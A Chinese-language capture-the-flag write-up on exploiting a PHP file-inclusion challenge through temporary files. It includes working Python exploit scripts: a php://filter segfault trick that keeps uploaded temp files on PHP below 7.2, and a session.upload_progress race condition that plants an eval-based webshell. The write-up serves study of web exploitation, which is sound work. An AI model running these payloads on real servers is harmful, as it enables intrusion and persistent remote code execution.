前言
关键字:[临时文件包含|session|条件竞争|segment fault|session.upload_progress]
题解
一看疑似hash长度扩展攻击,转头花了几个小时学了下。
结果不是,可惜了。
直接?pass=fa25e54758d5d5c1927781a6ede89f8a
文件包含
包含../../../../../../flag,没有结果,看来没那么简单。
伪协议读一下源码
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
试了下file[]=php://input
远程执行命令不太行。
扫目录扫出dir.php,源码:
<?php
var_dump(scandir('/tmp'));
?>
临时文件包含
- PHP版本<7.2,segment fault特性,向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留
- 条件竞争:利用session.upload_progress进行session文件包含
- 条件竞争:利用能访问的phpinfo页面,对其一次发送大量数据造成临时文件没有及时被删除
利用segment fault特性
php版本是7.0.33,这里预期解是1号情况。
php<7.2
php://filter/string.strip_tags/resource=/etc/passwd
php7老版本通杀
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
import requests
from io import BytesIO
url="http://f0af8aa4-9e9c-40a8-9003-175dbc6f69f8.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
"file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)
print(r.text)
打进去后,提示实例无法访问,因为崩溃了嘛
产生临时文件
之后再文件包含下,flag在phpinfo里
条件竞争:利用session.upload_progress
在PHP>5.4,
session.upload_progress.enabled
这个参数在php.ini
中默认开启,在上传的过程中会生成上传进度文件,PHP将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ,它的存储路径可以在phpinfo
中查到
php>5.4,尝试利用session.upload_progress进行session文件包含
开启upload_progress功能
session.upload_progress.enabled = on当文件上传结束后,php将会立即清空对应session文件中的内容
session.upload_progress.cleanup = on
session.upload_progress.prefix = “upload_progress_”
session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
session.use_strict_mode=off
表示对cookie中的sessionid可控,默认off。即使没有
session_start()
,也可以自己定义PHPSESSID,并且PHP会自动初始化session,并产生一个键值,这个键值由session.upload_progress.prefix
和session.upload_progress.name
组成,最后被写入session文件里。比如在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag
在Linux系统中,session文件一般的默认存储位置为/tmp或/var/lib/php/session
import io
import sys
import requests
import threading
host = 'http://83b54a25-4b1f-4a71-9d36-be8522dc1261.node4.buuoj.cn/flflflflag.php'
sessid = 'feng'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={
"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('ls /');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"},
files={"file": ('a.txt', f)},
cookies={'PHPSESSID': sessid}
)
def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
# 1的MD5值
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit()
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True # 主线程退出时,不管子线程是否完成都随主线程退出
t1.start()
READ(session)
运行一下,马就写到shell.php
了。